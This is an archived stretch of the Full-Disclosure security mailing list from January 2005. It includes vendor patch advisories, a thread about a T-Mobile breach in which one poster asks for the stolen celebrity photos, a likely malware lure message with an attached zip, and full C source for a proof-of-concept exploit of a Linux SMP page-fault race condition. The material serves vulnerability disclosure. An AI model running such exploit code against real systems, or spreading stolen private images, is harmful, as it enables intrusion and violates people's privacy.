the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB5hZWmqjQ0CJFipgRAm7IAJ0QpDBSCiSo1f3eTwNctg+/PlmL1wCgzZSR JwJJCFTTko8xLciKKnAAL8g= =3HLq -----END PGP SIGNATURE----- From xillwillx at gmail.com Thu Jan 13 06:34:51 2005 From: xillwillx at gmail.com (Ill will) Date: Thu, 13 Jan 2005 01:34:51 -0500 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> Message-ID: <47fe50605011222344c2cbd9a@mail.gmail.com> the flaw was in a third party software they used .. as for the pics we won't be releasing them yet On Wed, 12 Jan 2005 16:19:25 -0600, hevnsnt wrote: > PICS? > > On Wed, 12 Jan 2005 13:43:50 -0500, Kristian Hermansen > wrote: > > Does anyone have specifics on how this hacker Jacobson exploited flaws > > in the T-Mobile server applications to gain entry to the back-end > > database? Was it some gross oversight on T-Mobile's part or something > > more obscure that admins should know about? The Secret Service seems to > > believe that either his skills or his underground connections will allow > > him to be their personal slut for the next few years. > > > > http://www.securityfocus.com/news/10271 > > > > Oh, and if anyone has some of the celebrity pictures that he snarfed > > from the database I would care for a link! > > -- > > Kristian Hermansen > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > > > > > > > -- > Do yourself (and the rest of the internet) a favor, Get Firefox! > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- - illwill http://illmob.org From roman.kunz at juliusbaer.com Thu Jan 13 07:29:01 2005 From: roman.kunz at juliusbaer.com (roman.kunz at juliusbaer.com) Date: Thu, 13 Jan 2005 08:29:01 +0100 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: <47fe50605011222344c2cbd9a@mail.gmail.com> Message-ID: ...poser ;-) ----- he flaw was in a third party software they used .. as for the pics we won't be releasing them yet *****Disclaimer***** This message is for the addressee only and may contain confidential or privileged information. You must delete and not use it if you are not the intended recipient. It may not be secure or error-free. All e-mail communications to and from the Julius Baer Group may be monitored. Processing of incoming e-mails cannot be guaranteed. Any views expressed in this message are those of the individual sender. This message is for information purposes only. All liability of the Julius Baer Group and its entities for any damages resulting from e-mail use is excluded. US persons are kindly requested to read the important legal information presented at following URL: http://www.juliusbaer.com/maildisclaimer -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/39409c9b/attachment.html From Valdis.Kletnieks at vt.edu Thu Jan 13 08:15:52 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 13 Jan 2005 03:15:52 -0500 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: Your message of "Thu, 13 Jan 2005 01:34:51 EST." <47fe50605011222344c2cbd9a@mail.gmail.com> References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> <47fe50605011222344c2cbd9a@mail.gmail.com> Message-ID: <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu> On Thu, 13 Jan 2005 01:34:51 EST, Ill will said: > the flaw was in a third party software they used .. as for the pics we > won't be releasing them yet One has to wonder which tabloid will win the bidding war for the pics. ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/07260092/attachment.bin From dave at horsfall.org Thu Jan 13 10:34:55 2005 From: dave at horsfall.org (Dave Horsfall) Date: Thu, 13 Jan 2005 21:34:55 +1100 (EST) Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> References: <200501120435.j0C4Zars018630@lists.netsys.com> <046c01c4f873$3f351f30$0500a8c0@apollo> <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> Message-ID: On Wed, 12 Jan 2005 Valdis.Kletnieks at vt.edu wrote: > (*) My all-time favorite "Close, but no ceee-gar" was the advice column for a > Unix journal where the author *remembered* the old "3 syncs before halt" > adage - but got it Very Wrong by advising "sync;sync;sync;halt". Bonus > points if you can remember (a) the *original* reason for the advice *and* > (b) how this version was Very Wrong (there's *multiple* answers for this one ;) Early Unixes -- especially those with slow disks such as the RK05 -- could take several seconds to flush the buffered data to disk. The sync() call only *scheduled* the flush and returned right away, thus the disk data (especially the meta-data such as inodes etc) may not be up to date when you hit the switch (early Unixes did not have a halt command). By typing: # sync # sync # sync i.e. by waiting for the command to return, thrice, you were reasonably sure that the buffers were flushed, especially if you could see the disk activity lamps (not LEDs in those days). By using "sync; sync; sync" the operator did not have to wait, and so was lulled into a false sense of security. This was really important in those days, because the filesystem simply was not as resilient as it is now; a power failure *guaranteed* that you would lose files, and it was time for "check" (in Edition 5, and which became ncheck/dcheck/icheck and eventually fsck) and "clri". -- Dave, who had creamed several PDP-11 Unixes in his time From security-announce at turbolinux.co.jp Thu Jan 13 10:41:20 2005 From: security-announce at turbolinux.co.jp (Turbolinux) Date: Thu, 13 Jan 2005 19:41:20 +0900 Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 13/Jan/2005 Message-ID: <200501131941.27927.security-announce@turbolinux.co.jp> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is an announcement only email list for the x86 architecture. ============================================================ Turbolinux Security Announcement 13/Jan/2005 ============================================================ The following page contains the security information of Turbolinux Inc. - Turbolinux Security Center http://www.turbolinux.com/security/ (1) php -> Multiple vulnerabilities in php (2) httpd -> Multiple vulnerabilities in httpd =========================================================== * php -> Multiple vulnerabilities in php =========================================================== More information : PHP is an HTML-embedded scripting language. Buffer overflow vulnerabilities have been discovered in the nserialize and exif_read_data functions of PHP. Impact : The vulnerabilities can allow remote attackers to cause a denial of service and possibly execute arbitrary code. Affected Products : - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation Solution : Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # zabom -u php4 php4-gd php4-imap php4-ldap php4-manual php4-ming php4-mysql php4-pgsql [other] # turbopkg or # zabom update php php-gd php-imap php-ldap php-manual php-ming php-mysql php-pgsql --------------------------------------------- Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/php4-4.3.8-11.src.rpm 12304115 3cec9c192cb53ab27459a9862efc5d9d Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-4.3.8-11.i586.rpm 5137588 13f6d61aefd07e7674a174e73f95dac1 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-debug-4.3.8-11.i586.rpm 6519408 77094cb1256cc9f9b72fa95ffa557961 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-gd-4.3.8-11.i586.rpm 44804 2e5dbdf7a3cd6c4d9d335b9d0454690f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-imap-4.3.8-11.i586.rpm 10763 981373ebead5f89c3ad21849ab64bb9a ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-ldap-4.3.8-11.i586.rpm 34436 65670f263735f2645c4126b19a8913ff ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-manual-4.3.8-11.i586.rpm 7502182 65dbe4e60bda685fce0d3ad2f1551457 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-ming-4.3.8-11.i586.rpm 45536 98ed5c3c7b22d2496e953d8d074de558 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-mysql-4.3.8-11.i586.rpm 119870 c8c8bf249d106d78a5be7358ff247cf4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/php4-pgsql-4.3.8-11.i586.rpm 68887 8a51ec5a9cd5833c4ae9c43d629ea252 Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/php4-4.3.3-7.src.rpm 4179207 9407355f70cbc4c14ea9bfdfac154015 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-4.3.3-7.i586.rpm 2735662 f4dd577a3b8bc5c33cc73cc015cb6584 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-gd-4.3.3-7.i586.rpm 30563 85965bd7a78ad8bf30eb7a9aed065e1f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-imap-4.3.3-7.i586.rpm 9256 e41b9edacac390204979dc7e1f9f2d61 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-ldap-4.3.3-7.i586.rpm 23627 0abf252cbe840e040f8ece116631ffd5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-manual-4.3.3-7.i586.rpm 341639 ee222270c41de1653554112bb302ce73 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-ming-4.3.3-7.i586.rpm 30139 cb32cd256566b288640628ca38278dac ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-mysql-4.3.3-7.i586.rpm 81109 3f36b87058d8378e6c584920835703ee ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/php4-pgsql-4.3.3-7.i586.rpm 47675 60777bad904b8014043c8287d3e00e4e Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/php-4.2.3-24.src.rpm 3596640 4f2aea3ebf6ff00dc2f9ef2185c629e7 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-4.2.3-24.i586.rpm 1632058 776e270a3567b5c2d186544cfd495a6c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-gd-4.2.3-24.i586.rpm 31216 87fbf08da30e4ae58ba7fa46aefecc8b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-imap-4.2.3-24.i586.rpm 9235 d8cf0364ce2faf7b1f26c356629b3acd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-ldap-4.2.3-24.i586.rpm 24685 ac6bfe61cadcb49519415c7f6a09f0fd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-manual-4.2.3-24.i586.rpm 341741 3b83b1f9ef2d4ac998cf456a78b7182f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-ming-4.2.3-24.i586.rpm 33237 9e8f23b30be928c175d72e4bb7407f4f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-mysql-4.2.3-24.i586.rpm 90789 c10689afe393966cae1fd43911c2f0fd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm 35467 ef15fd420e89ab8d8284534b4da8dcc1 Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/php-4.2.3-24.src.rpm 3596640 c49321398dcc7f999d5ec7c459f12954 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-4.2.3-24.i586.rpm 1632174 465f0707e702870b8c68fd69f38cf3bc ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-gd-4.2.3-24.i586.rpm 31232 d65bfbd198da2fa27adb30da07b46cdd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-imap-4.2.3-24.i586.rpm 9234 2751549b7027dd2c5b09a759778d3793 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-ldap-4.2.3-24.i586.rpm 24679 895f5387463625de0a5aca57e02de557 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-manual-4.2.3-24.i586.rpm 341765 12d2bd9bf6ca4848b3c41a5f1539ea74 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-ming-4.2.3-24.i586.rpm 33223 1174db9d2d84427a41e67957e4fdea6b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-mysql-4.2.3-24.i586.rpm 90840 c4a492770d25472acce0c41f95e75a1f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm 35512 9dd622d90b73e1f5fbe979870eaa2172 Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/php-4.2.3-24.src.rpm 3596640 a8c3b99e7674f8a2fe119b427a02e939 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-4.2.3-24.i586.rpm 1603262 5586a4dde1f5acb861d9982a2a057630 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-imap-4.2.3-24.i586.rpm 9236 07b780d86295569b599a6c7467480ad8 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-ldap-4.2.3-24.i586.rpm 24242 3b1e22d2a11d793f1911da084d6d19b3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-manual-4.2.3-24.i586.rpm 341734 8390e86c4174e52bf7fa69f8b7b693db ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-mysql-4.2.3-24.i586.rpm 86660 a12aa6e7ef466d734331faa0cf6dd42d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm 35327 1411e61b2aad435eb13207ee2dc3407e Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/php-4.2.3-24.src.rpm 3596640 7f85391671841ef657f3128d924c6c76 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-4.2.3-24.i586.rpm 1602364 9eed8b51ca59989eda6728813717be33 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-imap-4.2.3-24.i586.rpm 9237 1742ab7b7814a3cd61597a32a0c6ebe6 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-ldap-4.2.3-24.i586.rpm 24250 223cca0fe750193ba65849379753daaf ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-manual-4.2.3-24.i586.rpm 341732 9cc93603cb0f12480198bfdcf7a4da57 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-mysql-4.2.3-24.i586.rpm 86625 70e412ef96b3e804de8ee34c1a39aa33 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/php-pgsql-4.2.3-24.i586.rpm 34982 64b4fc35c3e1a456862c5ef26d541432 Notice: After performing the update, it is necessary to restart the httpd daemon. To do this, run the following command as user root. --------------------------------------------- # /etc/init.d/httpd restart or # /etc/rc.d/init.d/httpd restart --------------------------------------------- References: CVE [CAN-2004-1019] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1019 [CAN-2004-1065] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1065 =========================================================== * httpd -> Multiple vulnerabilities in httpd =========================================================== More information : Apache is a powerful, full-featured, efficient, and freely-available Web server. Apache is also the most popular Web server on the Internet. Please refer to the References section for further information. Impact : The vulnerabilities could allow remote attackers to cause a denial of service and possibly execute arbitrary code. Affected Products : - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop Solution : Please use the turbopkg (zabom) tool to apply the update. ---------------------------------------- [Turbolinux 10 Server] # zabom -u httpd httpd-debug httpd-devel httpd-manual mod_bwshare mod_ssl [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # zabom -u httpd ---------------------------------------- Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/httpd-2.0.51-8.src.rpm 6842122 6f911bda264f6b7b9989f5c1e81d4ac0 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-2.0.51-8.i586.rpm 1032135 214e7c3d1c27cd45e0791d0f85d0d087 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-debug-2.0.51-8.i586.rpm 3238970 965c8ca35632af6c9bb1360d1fa42e40 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-devel-2.0.51-8.i586.rpm 222848 dde33db66f69d76c1a87edca5298b9d7 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-manual-2.0.51-8.i586.rpm 1130005 e931dda35b3bdd4261318ee1435b6f6c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/mod_bwshare-2.0.51-8.i586.rpm 39007 9722beda50813c05b89e85d49da54e11 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/mod_ssl-2.0.51-8.i586.rpm 86975 f949a8b78974c746446467c077b6e604 Source Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/httpd-2.0.48-15.src.rpm 6315957 5264ab25976140082ab5310ea8c15ec9 Binary Packages Size : MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/httpd-2.0.48-15.i586.rpm 892409 4f78d678fc9b9da1db1af6779f3627e0 Notice: After performing the update, it is necessary to restart the httpd daemon. To do this, run the following command as the root user. --------------------------------------------- # /etc/init.d/httpd restart or # /etc/rc.d/init.d/httpd restart --------------------------------------------- References: www.apache.org [CHANGES_2.0] http://www.apache.org/dist/httpd/CHANGES_2.0 CVE [CAN-2004-0488] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488 [CAN-2004-0748] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0748 [CAN-2004-0751] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0751 [CAN-2004-0809] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0809 [CAN-2004-0885] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0885 [CAN-2004-0942] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 fixed points: [Turbolinux 10 Server] CAN-2004-0855, CAN-2004-0942 [Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] CAN-2004-0488, CAN-2004-0748, CAN-2004-0751, CAN-2004-0809, CAN-2004-0885, CAN-2004-0942 * You may need to update the turbopkg tool before applying the update. Please refer to the following URL for detailed information. http://www.turbolinux.com/download/zabom.html http://www.turbolinux.com/download/zabomupdate.html Package Update Path http://www.turbolinux.com/update/ ============================================================ * To obtain the public key Here is the public key http://www.turbolinux.com/security/ * To unsubscribe from the list If you ever want to remove yourself from this mailing list, you can send a message to with the word `unsubscribe' in the body (don't include the quotes). unsubscribe * To change your email address If you ever want to chage email address in this mailing list, you can send a message to with the following command in the message body: chaddr 'old address' 'new address' If you have any questions or problems, please contact Thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFB5lBVK0LzjOqIJMwRAh3gAJ0eDL5ovJpmmFRd007WVmxweA2qzgCgtFXq 80Xj8CGykz854sCVQQXql+A= =BrUw -----END PGP SIGNATURE----- From vh at helith.net Thu Jan 13 12:04:21 2005 From: vh at helith.net (vh) Date: Thu, 13 Jan 2005 13:04:21 +0100 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu> References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> <47fe50605011222344c2cbd9a@mail.gmail.com> <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu> Message-ID: <20050113130421.409f8f83.vh@helith.net> On Thu, 13 Jan 2005 03:15:52 -0500 Valdis.Kletnieks at vt.edu wrote: > On Thu, 13 Jan 2005 01:34:51 EST, Ill will said: > > the flaw was in a third party software they used .. as for the pics we > > won't be releasing them yet > > One has to wonder which tabloid will win the bidding war for the pics. ;) Why was Mitnick jailed and this guy isn't? ;) vH -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/0fd711a1/attachment.bin From blueboar at thievco.com Wed Jan 19 10:48:37 2005 From: blueboar at thievco.com (blueboar at thievco.com) Date: Wed, 19 Jan 2005 14:48:37 +0400 Subject: [Full-Disclosure] Is that your password? Message-ID: <200501131354.j0DDs1rs002587@lists.netsys.com> Can you confirm it? -------------- next part -------------- A non-text attachment was scrubbed... Name: private_01_full-disclosure.zip Type: application/octet-stream Size: 29840 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/8c73faca/attachment.obj From cdevine at lab.b-care.net Thu Jan 13 14:45:26 2005 From: cdevine at lab.b-care.net (Christophe Devine) Date: Thu, 13 Jan 2005 15:45:26 +0100 Subject: [Full-Disclosure] Re: Linux kernel i386 SMP page fault handler privilege escalation Message-ID: <20050113144526.GA2366@lab.b-care.net> Paul Starzetz wrote: > An exploitable race condition exists in the page fault handler if two > concurrent threads sharing the same virtual memory space request stack > expansion at the same time. It is only exploitable on multiprocessor > machines (that also includes systems with hyperthreading). Exploiting the race condition itself is quite tricky, especially if the system load is high. The following proof-of-concept code may be used to check if an x86 SMP kernel is vulnerable; it is a bit unreliable though. $ gcc stackgrow.c $ ./a.out [+] in thread 1 (pid = 604) [+] in thread 2 (pid = 605) [+] rdtsc calibration: 53888 [+] exploiting race, wait... [+] race won (shift: 560) [+] kernel might be vulnerable. $ cat stackgrow.c /* * expand_stack SMP race PoC exploit * * Copyright (C) 2005 Christophe Devine * * Vulnerability discovered by Paul Starzetz * http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #define MMAP_BASE (void *) (TARGET_BASE + PAGE_SIZE * 2) #define TARGET_BASE (void *) 0x60000000 #define STACK1_BASE (void *) 0x01000000 #define STACK2_BASE (void *) 0x02000000 #define MAGIC_TEST 0x18A041DE int pid1, sff; long long tsc1, tsc2; void child1_sighandler( int signum ) { int *xs1, i, j; if( signum == SIGUSR1 ) { for( i = 0; i > sff; i-- ) j = i * i; asm volatile( "rdtsc" : "=A" (tsc1) ); xs1 = TARGET_BASE; *xs1 = MAGIC_TEST; signal( SIGUSR1, child1_sighandler ); } } int child1_thread( void *arg ) { printf( " [+] in thread 1 (pid = %d)\n", getpid() ); signal( SIGUSR1, child1_sighandler ); while( 1 ) sleep( 2 ); return( 0 ); } int test_race_result( void ) { FILE *f; int *mtest; char line[128]; unsigned int vma_start_prev; unsigned int vma_start; unsigned int vma_end; if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL ) { perror( " [-] fopen /proc/self/maps" ); exit( 1 ); } mtest = TARGET_BASE; vma_start_prev = 0; while( fgets( line, sizeof( line ) - 1, f ) != NULL ) { sscanf( line, "%08x-%08x", &vma_start, &vma_end ); if( vma_start == (int) MMAP_BASE - PAGE_SIZE && vma_end == (int) MMAP_BASE + PAGE_SIZE && vma_start_prev != (int) TARGET_BASE && *mtest == MAGIC_TEST ) return( 0 ); vma_start_prev = vma_start; } fclose( f ); return( 1 ); } int child2_thread( void *arg ) { long delta[8]; int *xs2, i, j, fct; usleep( 50000 ); printf( " [+] in thread 2 (pid = %d)\n", getpid() ); asm volatile( "rdtsc" : "=A" (tsc1) ); for( i = 0; i < 4096; i++ ) j = i * i; asm volatile( "rdtsc" : "=A" (tsc2) ); fct = tsc2 - tsc1; printf( " [+] rdtsc calibration: %d\n", fct ); for( i = 0; i < 8; i++ ) delta[i] = 0; tsc1 = tsc2 = 0; printf( " [+] exploiting race, wait...\n" ); while( 1 ) { if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 ) { perror( " [-] mmap target" ); return( 1 ); } j = 0; for( i = 0; i < 8; i++ ) j += delta[i]; j /= 8; sff += ( 128 * j ) / fct; if( sff < -16384 || sff > 16384 ) sff = 0; for( i = 7; i > 0; i-- ) delta[i] = delta[i - 1]; delta[0] = tsc1 - tsc2; kill( pid1, SIGUSR1 ); for( i = 0; i < sff; i++ ) j = i * i; asm volatile( "rdtsc" : "=A" (tsc2) ); xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0; if( test_race_result() == 0 ) { usleep( 10000 ); if( test_race_result() == 0 ) break; } munmap( TARGET_BASE, PAGE_SIZE * 3 ); } printf( " [+] race won (shift: %d)\n", sff ); return( 0 ); } int main( void ) { FILE *f; char line[1024]; int nb_cpu, pid2, s; if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL ) { perror( " [-] fopen /proc/cpuinfo" ); return( 1 ); } nb_cpu = 0; while( fgets( line, sizeof( line ) - 1, f ) != NULL ) if( memcmp( line, "processor", 9 ) == 0 ) nb_cpu++; fclose( f ); if( nb_cpu <= 1 ) { fprintf( stderr, "This program only works on SMP systems.\n" ); return( 1 ); } printf( "\n" ); if( mmap( STACK1_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 ) { perror( " [-] mmap child1 stack" ); return( 1 ); } if( ( pid1 = clone( child1_thread, STACK1_BASE + 0x4000, SIGCHLD | CLONE_VM, 0 ) ) == -1 ) { perror( " [-] clone child1" ); return( 1 ); } if( mmap( STACK2_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 ) { perror( " [-] mmap child2 stack" ); kill( pid1, SIGKILL ); return( 1 ); } if( ( pid2 = clone( child2_thread, STACK2_BASE + 0x4000, SIGCHLD | CLONE_VM, 0 ) ) == -1 ) { perror( " [-] clone child2" ); kill( pid1, SIGKILL ); return( 1 ); } waitpid( pid2, &s, 0 ); kill( pid1, SIGKILL ); if( WEXITSTATUS(s) != 0 ) return( 1 ); printf( " [+] kernel might be vulnerable.\n\n" ); return( 0 ); } -- Christophe Devine - http://www.cr0.net:8040/about/ From dan at f-box.org Thu Jan 13 14:34:37 2005 From: dan at f-box.org 